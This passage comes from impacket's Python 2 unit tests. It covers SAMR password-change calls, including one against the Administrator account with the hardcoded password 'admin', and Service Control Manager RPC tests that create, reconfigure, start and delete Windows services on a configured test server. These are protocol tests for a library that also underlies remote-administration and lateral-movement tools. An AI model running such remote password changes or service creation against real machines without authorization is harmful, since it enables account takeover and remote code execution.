request['LmPresent'] = 0
request['OldLmEncryptedWithNewLm'] = NULL
request['NewLmEncryptedWithOldLm'] = NULL
request['NtPresent'] = 1
request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT)
request['NtCrossEncryptionPresent'] = 0
request['NewNtEncryptedWithNewLm'] = NULL
request['LmCrossEncryptionPresent'] = 1
request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)
resp = dce.request(request)
resp.dump()
# Delete the temp user
request = samr.SamrDeleteUser()
request['UserHandle'] = resp0['UserHandle']
resp = dce.request(request)
resp.dump()
def test_hSamrChangePasswordUser(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateUser2InDomain()
request['DomainHandle'] = domainHandle
request['Name'] = 'testAccount'
request['AccountType'] = samr.USER_NORMAL_ACCOUNT
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE
#request.dump()
resp0 = dce.request(request)
resp0.dump()
resp = samr.hSamrChangePasswordUser(dce, resp0['UserHandle'], '', 'ADMIN')
resp.dump()
# Delete the temp user
request = samr.SamrDeleteUser()
request['UserHandle'] = resp0['UserHandle']
resp = dce.request(request)
resp.dump()
def test_SamrOemChangePasswordUser2(self):
dce, rpctransport, domainHandle = self.connect()
# As you can guess by now, target machine must have the Administrator account with password admin
# NOTE: It's giving me WRONG_PASSWORD 'cause the target test server doesn't hold LM Hashes
# further testing is needed to verify this call works
oldPwd = 'admin'
oldPwdHashLM = ntlm.LMOWFv1(oldPwd)
newPwd = 'ADMIN'
newPwdHashNT = ntlm.NTOWFv1(newPwd)
newPwdHashLM = ntlm.LMOWFv1(newPwd)
try:
from Crypto.Cipher import ARC4
except Exception:
print "Warning: You don't have any crypto installed. You need PyCrypto"
print "See http://www.pycrypto.org/"
from impacket import crypto
request = samr.SamrOemChangePasswordUser2()
request['ServerName'] = ''
request['UserName'] = 'Administrator'
samUser = samr.SAMPR_USER_PASSWORD()
samUser['Buffer'] = 'A'*(512-len(newPwd)) + newPwd
samUser['Length'] = len(newPwd)
pwdBuff = str(samUser)
rc4 = ARC4.new(oldPwdHashLM)
encBuf = rc4.encrypt(pwdBuff)
request['NewPasswordEncryptedWithOldLm']['Buffer'] = encBuf
request['OldLmOwfPasswordEncryptedWithNewLm'] = crypto.SamEncryptNTLMHash(oldPwdHashLM, newPwdHashLM)
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_WRONG_PASSWORD') < 0:
raise
def test_SamrUnicodeChangePasswordUser2(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateUser2InDomain()
request['DomainHandle'] = domainHandle
request['Name'] = 'testAccount'
request['AccountType'] = samr.USER_NORMAL_ACCOUNT
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE
#request.dump()
resp0 = dce.request(request)
resp0.dump()
oldPwd = ''
oldPwdHashNT = ntlm.NTOWFv1(oldPwd)
newPwd = 'ADMIN'
newPwdHashNT = ntlm.NTOWFv1(newPwd)
newPwdHashLM = ntlm.LMOWFv1(newPwd)
from impacket import crypto
request = samr.SamrChangePasswordUser()
request['UserHandle'] = resp0['UserHandle']
request['LmPresent'] = 0
request['OldLmEncryptedWithNewLm'] = NULL
request['NewLmEncryptedWithOldLm'] = NULL
request['NtPresent'] = 1
request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT)
request['NtCrossEncryptionPresent'] = 0
request['NewNtEncryptedWithNewLm'] = NULL
request['LmCrossEncryptionPresent'] = 1
request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)
resp = dce.request(request)
resp.dump()
oldPwd = 'ADMIN'
oldPwdHashLM = ntlm.LMOWFv1(oldPwd)
oldPwdHashNT = ntlm.NTOWFv1(oldPwd)
newPwd = chars = "".join( [random.choice(string.letters) for i in xrange(15)] )
newPwdHashNT = ntlm.NTOWFv1(newPwd)
newPwdHashLM = ntlm.LMOWFv1(newPwd)
try:
from Crypto.Cipher import ARC4
except Exception:
print "Warning: You don't have any crypto installed. You need PyCrypto"
print "See http://www.pycrypto.org/"
from impacket import crypto
request = samr.SamrUnicodeChangePasswordUser2()
request['ServerName'] = ''
request['UserName'] = 'testAccount'
samUser = samr.SAMPR_USER_PASSWORD()
samUser['Buffer'] = 'A'*(512-len(newPwd)*2) + newPwd.encode('utf-16le')
samUser['Length'] = len(newPwd)*2
pwdBuff = str(samUser)
rc4 = ARC4.new(oldPwdHashNT)
encBuf = rc4.encrypt(pwdBuff)
request['NewPasswordEncryptedWithOldNt']['Buffer'] = encBuf
request['OldNtOwfPasswordEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
request['LmPresent'] = 0
request['NewPasswordEncryptedWithOldLm'] = NULL
request['OldLmOwfPasswordEncryptedWithNewNt'] = NULL
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_PASSWORD_RESTRICTION') < 0:
raise
# Delete the temp user
request = samr.SamrDeleteUser()
request['UserHandle'] = resp0['UserHandle']
resp = dce.request(request)
resp.dump()
def test_hSamrUnicodeChangePasswordUser2(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrCreateUser2InDomain()
request['DomainHandle'] = domainHandle
request['Name'] = 'testAccount'
request['AccountType'] = samr.USER_NORMAL_ACCOUNT
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE
#request.dump()
resp0 = dce.request(request)
resp0.dump()
oldPwd = ''
oldPwdHashNT = ntlm.NTOWFv1(oldPwd)
newPwd = 'ADMIN'
newPwdHashNT = ntlm.NTOWFv1(newPwd)
newPwdHashLM = ntlm.LMOWFv1(newPwd)
from impacket import crypto
request = samr.SamrChangePasswordUser()
request['UserHandle'] = resp0['UserHandle']
request['LmPresent'] = 0
request['OldLmEncryptedWithNewLm'] = NULL
request['NewLmEncryptedWithOldLm'] = NULL
request['NtPresent'] = 1
request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT)
request['NtCrossEncryptionPresent'] = 0
request['NewNtEncryptedWithNewLm'] = NULL
request['LmCrossEncryptionPresent'] = 1
request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)
resp = dce.request(request)
resp.dump()
try:
resp = samr.hSamrUnicodeChangePasswordUser2(dce, '', 'testAccount', 'ADMIN', 'betus')
resp.dump()
except Exception, e:
if str(e).find('STATUS_PASSWORD_RESTRICTION') < 0:
raise
# Delete the temp user
request = samr.SamrDeleteUser()
request['UserHandle'] = resp0['UserHandle']
resp = dce.request(request)
resp.dump()
class SMBTransport(SAMRTests):
def setUp(self):
SAMRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class TCPTransport(SAMRTests):
def setUp(self):
SAMRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
#print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(SAMRTests):
def setUp(self):
SAMRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
class TCPTransport64(SAMRTests):
def setUp(self):
SAMRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
#print epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_scmr.py 0000600 0000765 0000000 00000074033 12734531507 022755 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
# hRCloseServiceHandleCall
# RControlService
# RDeleteService
# RLockServiceDatabase
# RQueryServiceObjectSecurity
# RQueryServiceStatus
# RUnlockServiceDatabase
# RNotifyBootConfigStatus
# RChangeServiceConfigW
# RCreateServiceW
# REnumDependentServicesW
# REnumServicesStatusW
# ROpenSCManager
# ROpenServiceW
# RQueryServiceConfigW
# RQueryServiceLockStatusW
# RStartServiceW
# CRGetServiceDisplayNameW
# RGetServiceKeyNameW
# REnumServiceGroupW
# RChangeServiceConfig2W
# RQueryServiceConfig2W
# RQueryServiceStatusEx
# REnumServicesStatusExW
# RNotifyServiceStatusChange
# RGetNotifyResults
# RCloseNotifyHandle
# RControlServiceExW
# RQueryServiceConfigEx
#
# Not yet:
#
# RSetServiceObjectSecurity
# RSetServiceStatus
# RCreateServiceWOW64W
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from struct import unpack
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import scmr, epm
from impacket.dcerpc.v5.ndr import NULL
from impacket.crypto import encryptSecret
from impacket.uuid import string_to_bin
from impacket import ntlm
class SCMRTests(unittest.TestCase):
def changeServiceAndQuery(self, dce, cbBufSize, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName):
try:
resp = scmr.hRChangeServiceConfigW( dce, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
resp = scmr.hRQueryServiceConfigW(dce, hService)
resp.dump()
# Now let's compare all the results
if dwServiceType != scmr.SERVICE_NO_CHANGE:
self.assertTrue( resp['lpServiceConfig']['dwServiceType'] == dwServiceType )
if dwStartType != scmr.SERVICE_NO_CHANGE:
self.assertTrue( resp['lpServiceConfig']['dwStartType'] == dwStartType )
if dwErrorControl != scmr.SERVICE_NO_CHANGE:
self.assertTrue( resp['lpServiceConfig']['dwErrorControl'] == dwErrorControl )
if lpBinaryPathName != NULL:
self.assertTrue( resp['lpServiceConfig']['lpBinaryPathName'] == lpBinaryPathName )
if lpBinaryPathName != NULL:
self.assertTrue( resp['lpServiceConfig']['lpBinaryPathName'] == lpBinaryPathName )
if lpLoadOrderGroup != NULL:
self.assertTrue( resp['lpServiceConfig']['lpLoadOrderGroup'] == lpLoadOrderGroup )
#if lpDependencies != '':
# self.assertTrue( resp['lpServiceConfig']['lpDependencies'] == lpDependencies[:-4]+'/\x00\x00\x00')
if lpServiceStartName != NULL:
self.assertTrue( resp['lpServiceConfig']['lpServiceStartName'] == lpServiceStartName )
if lpDisplayName != NULL:
self.assertTrue( resp['lpServiceConfig']['lpDisplayName'] == lpDisplayName )
#if lpdwTagId != scmr.SERVICE_NO_CHANGE:
# if resp['lpServiceConfig']['dwTagId']['Data'] != lpdwTagId:
# print "ERROR %s" % 'lpdwTagId'
except:
resp = scmr.hRDeleteService(dce, hService)
raise
def changeServiceAndQuery2(self, dce, info, changeDone):
serviceHandle = info['hService']
dwInfoLevel = info['Info']['Union']['tag']
cbBuffSize = 0
request = scmr.RQueryServiceConfig2W()
request['hService'] = serviceHandle
request['dwInfoLevel'] = dwInfoLevel
request['cbBufSize'] = cbBuffSize
try:
resp = dce.request(request)
except Exception, e:
if str(e).find('ERROR_INSUFFICIENT_BUFFER') <= 0:
raise
else:
resp = e.get_packet()
request['cbBufSize'] = resp['pcbBytesNeeded']
resp = dce.request(request)
arrayData = ''.join(resp['lpBuffer'])
if dwInfoLevel == 1:
self.assertTrue(arrayData[4:].decode('utf-16le') == changeDone)
elif dwInfoLevel == 2:
offset = unpack(' 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
#dce.set_max_fragment_size(32)
dce.connect()
if self.__class__.__name__ == 'TCPTransport':
dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(scmr.MSRPC_UUID_SCMR)
#rpc = scmr.DCERPCSvcCtl(dce)
lpMachineName = 'DUMMY\x00'
lpDatabaseName = 'ServicesActive\x00'
desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE
resp = scmr.hROpenSCManagerW(dce,lpMachineName, lpDatabaseName, desiredAccess)
scHandle = resp['lpScHandle']
return dce, rpctransport, scHandle
def test_RChangeServiceConfig2W(self):
dce, rpctransport, scHandle = self.connect()
lpServiceName = 'TESTSVC\x00'
lpDisplayName = 'DisplayName\x00'
dwDesiredAccess = scmr.SERVICE_ALL_ACCESS
dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS
dwStartType = scmr.SERVICE_DEMAND_START
dwErrorControl = scmr.SERVICE_ERROR_NORMAL
lpBinaryPathName = 'binaryPath\x00'
lpLoadOrderGroup = NULL
lpdwTagId = NULL
lpDependencies = NULL
dwDependSize = 0
lpServiceStartName = NULL
lpPassword = NULL
dwPwSize = 0
resp = scmr.hRCreateServiceW(dce, scHandle, lpServiceName, lpDisplayName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize)
resp.dump()
newHandle = resp['lpServiceHandle']
error = False
try:
request = scmr.RChangeServiceConfig2W()
request['hService'] = newHandle
request['Info']['dwInfoLevel'] = 1
request['Info']['Union']['tag'] = 1
request['Info']['Union']['psd']['lpDescription'] = u'betobeto\x00'
resp = dce.request(request)
resp.dump()
self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psd']['lpDescription'])
request['Info']['dwInfoLevel'] = 2
request['Info']['Union']['tag'] = 2
request['Info']['Union']['psfa']['lpRebootMsg'] = u'rebootMsg\00'
request['Info']['Union']['psfa']['lpCommand'] = u'lpCommand\00'
resp = dce.request(request)
resp.dump()
self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psfa']['lpRebootMsg'])
request['Info']['dwInfoLevel'] = 3
request['Info']['Union']['tag'] = 3
request['Info']['Union']['psda']['fDelayedAutostart'] = 1
resp = dce.request(request)
self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psda']['fDelayedAutostart'])
request['Info']['dwInfoLevel'] = 4
request['Info']['Union']['tag'] = 4
request['Info']['Union']['psfaf']['fFailureActionsOnNonCrashFailures'] = 1
resp = dce.request(request)
self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psfaf']['fFailureActionsOnNonCrashFailures'])
request['Info']['dwInfoLevel'] = 5
request['Info']['Union']['tag'] = 5
request['Info']['Union']['pssid']['dwServiceSidType'] = 1
resp = dce.request(request)
self.changeServiceAndQuery2(dce, request, request['Info']['Union']['pssid']['dwServiceSidType'])
request['Info']['dwInfoLevel'] = 6
request['Info']['Union']['tag'] = 6
request['Info']['Union']['psrp']['pRequiredPrivileges'] = list(u'SeAssignPrimaryTokenPrivilege\x00\x00'.encode('utf-16le'))
resp = dce.request(request)
self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psrp']['pRequiredPrivileges'])
request['Info']['dwInfoLevel'] = 7
request['Info']['Union']['tag'] = 7
request['Info']['Union']['psps']['dwPreshutdownTimeout'] = 22
resp = dce.request(request)
self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psps']['dwPreshutdownTimeout'])
request['Info']['dwInfoLevel'] = 8
request['Info']['Union']['tag'] = 8
#request.dump()
trigger = scmr.SERVICE_TRIGGER()
trigger['dwTriggerType'] = scmr.SERVICE_TRIGGER_TYPE_DOMAIN_JOIN
trigger['dwAction'] = scmr.SERVICE_TRIGGER_ACTION_SERVICE_START
trigger['pTriggerSubtype'] = string_to_bin(scmr.DOMAIN_JOIN_GUID)
item = scmr.SERVICE_TRIGGER_SPECIFIC_DATA_ITEM()
item['dwDataType'] = scmr.SERVICE_TRIGGER_DATA_TYPE_STRING
item['pData'] = list(u'FREEFLY\x00'.encode('utf-16le'))
#trigger['pDataItems'].append(item)
trigger['pDataItems'] = NULL
request['Info']['Union']['psti']['pTriggers'].append(trigger)
resp = dce.request(request)
#self.changeServiceAndQuery2(dce, request, '\x00')
request['Info']['dwInfoLevel'] = 9
request['Info']['Union']['tag'] = 9
request['Info']['Union']['pspn']['usPreferredNode'] = 22
# This one doesn't work
#resp = dce.request(request)
#self.changeServiceAndQuery2(dce, request, request['Info']['Union']['pspn']['usPreferredNode'])
request['Info']['dwInfoLevel'] = 10
request['Info']['Union']['tag'] = 10
request['Info']['Union']['psri']['eLowestRunLevel'] = 1
# This one doesn't work
#resp = dce.request(request)
#self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psri']['eLowestRunLevel'])
request['Info']['dwInfoLevel'] = 11
request['Info']['Union']['tag'] = 11
request['Info']['Union']['psma']['fIsManagedAccount'] = 1
# This one doesn't work
#resp = dce.request(request)
#self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psma']['fIsManagedAccount'])
except Exception, e:
import traceback
traceback.print_exc()
print e
error = True
pass
resp = scmr.hRDeleteService(dce, newHandle)
resp = scmr.hRCloseServiceHandle(dce, newHandle)
resp = scmr.hRCloseServiceHandle(dce, scHandle)
if error:
self.assertTrue( 1 == 0 )
def test_REnumServicesStatusExW(self):
dce, rpctransport, scHandle = self.connect()
request = scmr.REnumServicesStatusExW()
request['hSCManager'] = scHandle
request['InfoLevel'] = scmr.SC_STATUS_PROCESS_INFO
request['dwServiceType'] = scmr.SERVICE_WIN32_OWN_PROCESS
request['dwServiceState'] = scmr.SERVICE_STATE_ALL
request['lpResumeIndex'] = NULL
request['pszGroupName'] = NULL
request['cbBufSize'] = 0
#request.dump()
#print "\n"
# Request again with the right bufSize
try:
resp = dce.request(request)
except Exception, e:
if str(e).find('ERROR_MORE_DATA') <= 0:
raise
else:
resp = e.get_packet()
resp.dump()
request['cbBufSize'] = resp['pcbBytesNeeded']
resp = dce.request(request)
resp.dump()
def test_RQueryServiceStatusEx(self):
dce, rpctransport, scHandle = self.connect()
lpServiceName = 'PlugPlay\x00'
desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
resp.dump()
serviceHandle = resp['lpServiceHandle']
request = scmr.RQueryServiceStatusEx()
request['hService'] = serviceHandle
request['InfoLevel'] = scmr.SC_STATUS_PROCESS_INFO
request['cbBufSize'] = 100
resp = dce.request(request)
array = ''.join(resp['lpBuffer'])
status = scmr.SERVICE_STATUS_PROCESS(array)
#status.dump()
# ToDo
def te_REnumServiceGroupW(self):
dce, rpctransport, scHandle = self.connect()
dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS
dwServiceState = scmr.SERVICE_STATE_ALL
cbBufSize = 10
lpResumeIndex = 0
pszGroupName = 'RemoteRegistry\x00'
try:
resp = scmr.hREnumServiceGroupW(dce, scHandle, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex, pszGroupName )
resp.dump()
except Exception, e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXISTS') <= 0:
raise
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_RQueryServiceConfigEx(self):
dce, rpctransport, scHandle = self.connect()
lpServiceName = 'RemoteRegistry\x00'
desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
resp.dump()
serviceHandle = resp['lpServiceHandle']
request = scmr.RQueryServiceConfigEx()
request['hService'] = serviceHandle
request['dwInfoLevel'] = 0x00000008
#request.dump()
resp = dce.request(request)
resp.dump()
# ToDo
def te_RControlServiceExW(self):
dce, rpctransport, scHandle = self.connect()
lpServiceName = 'PlugPlay\x00'
desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
resp.dump()
serviceHandle = resp['lpServiceHandle']
request = scmr.RControlServiceExW()
request['hService'] = serviceHandle
request['dwControl'] = scmr.SERVICE_CONTROL_STOP
request['dwInfoLevel'] = 1
# This is not working, don't know exactly why
request['pControlInParams']['dwReason'] = 0x20000000
request['pControlInParams']['pszComment'] = 'nada\x00'
request['pControlInParams'] = NULL
resp = dce.request(request)
resp.dump()
# ToDo
def te_RNotifyServiceStatusChange(self):
dce, rpctransport, scHandle = self.connect()
lpServiceName = 'PlugPlay\x00'
desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
resp.dump()
serviceHandle = resp['lpServiceHandle']
request = scmr.RNotifyServiceStatusChange()
request['hService'] =serviceHandle
request['NotifyParams']['tag'] = 1
request['NotifyParams']['pStatusChangeParam1']['dwNotifyMask'] = scmr.SERVICE_NOTIFY_RUNNING
request['pClientProcessGuid'] = '0'*16
#request.dump()
resp = dce.request(request)
resp.dump()
request = scmr.RCloseNotifyHandle()
request['phNotify'] = resp['phNotify']
resp = dce.request(request)
resp.dump()
request = scmr.RGetNotifyResults()
request['hNotify'] = resp['phNotify']
resp = dce.request(request)
resp.dump()
def test_RGetServiceDisplayNameW(self):
dce, rpctransport, scHandle = self.connect()
lpServiceName = 'PlugPlay\x00'
lpcchBuffer = len(lpServiceName)+100
resp = scmr.hRGetServiceDisplayNameW(dce, scHandle, lpServiceName, lpcchBuffer)
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_RGetServiceKeyNameW(self):
dce, rpctransport, scHandle = self.connect()
lpDisplayName = 'Plug and Play\x00'
lpcchBuffer = len(lpDisplayName)+100
resp = scmr.hRGetServiceKeyNameW(dce, scHandle, lpDisplayName, lpcchBuffer)
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_RStartServiceW(self):
dce, rpctransport, scHandle = self.connect()
lpServiceName = 'PlugPlay\x00'
desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS
resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )
resp.dump()
serviceHandle = resp['lpServiceHandle']
try:
resp = scmr.hRStartServiceW(dce, serviceHandle, 3, ['arg1\x00', 'arg2\x00', 'arg3\x00'] )
except Exception, e:
if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') <= 0:
raise
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_RQueryServiceLockStatusW(self):
dce, rpctransport, scHandle = self.connect()
pcbBytesNeeded = 1000
resp = scmr.hRQueryServiceLockStatusW(dce, scHandle, pcbBytesNeeded)
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_enumservices(self):
dce, rpctransport, scHandle = self.connect()
#####################
# EnumServicesStatusW
dwServiceType = scmr.SERVICE_KERNEL_DRIVER | scmr.SERVICE_FILE_SYSTEM_DRIVER | scmr.SERVICE_WIN32_OWN_PROCESS | scmr.SERVICE_WIN32_SHARE_PROCESS
dwServiceState = scmr.SERVICE_STATE_ALL
cbBufSize = 0
resp = scmr.hREnumServicesStatusW(dce, scHandle, dwServiceType, dwServiceState)
resp = scmr.hRCloseServiceHandle(dce, scHandle)
def test_create_change_delete(self):
dce, rpctransport, scHandle = self.connect()
#####################
# Create / Change / Query / Delete a service
lpServiceName = 'TESTSVC\x00'
lpDisplayName = 'DisplayName\x00'
dwDesiredAccess = scmr.SERVICE_ALL_ACCESS
dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS
dwStartType = scmr.SERVICE_DEMAND_START
dwErrorControl = scmr.SERVICE_ERROR_NORMAL
lpBinaryPathName = 'binaryPath\x00'
lpLoadOrderGroup = NULL
lpdwTagId = NULL
lpDependencies = NULL
dwDependSize = 0
lpServiceStartName = NULL
lpPassword = NULL
dwPwSize = 0
resp = scmr.hRCreateServiceW(dce, scHandle, lpServiceName, lpDisplayName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize)
resp.dump()
newHandle = resp['lpServiceHandle']
# Aca hay que chequear cada uno de los items
cbBufSize = 0
try:
resp = scmr.hRQueryServiceConfigW(dce, newHandle)
except Exception, e:
if str(e).find('ERROR_INSUFFICIENT_BUFFER') <= 0:
raise
else:
resp = e.get_packet()
resp.dump()
cbBufSize = resp['pcbBytesNeeded']+100
# Now that we have cbBufSize, let's start changing everything on the service
dwServiceType = scmr.SERVICE_WIN32_SHARE_PROCESS
dwStartType = scmr.SERVICE_NO_CHANGE
dwErrorControl = scmr.SERVICE_NO_CHANGE
lpBinaryPathName = NULL
lpLoadOrderGroup = NULL
lpDependencies = NULL
dwDependSize = 0
lpServiceStartName = NULL
lpPassword = NULL
dwPwSize = 0
lpDisplayName = NULL
lpdwTagId = NULL
self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
dwServiceType = scmr.SERVICE_NO_CHANGE
dwStartType = scmr.SERVICE_DISABLED
self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
dwStartType = scmr.SERVICE_NO_CHANGE
dwErrorControl = scmr.SERVICE_ERROR_SEVERE
self.changeServiceAndQuery(dce, cbBufSize, newHandle, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)
dwErrorControl = scmr.SERVICE_NO_CHANGE
lpBinaryPathName = 'BETOBETO\x00'
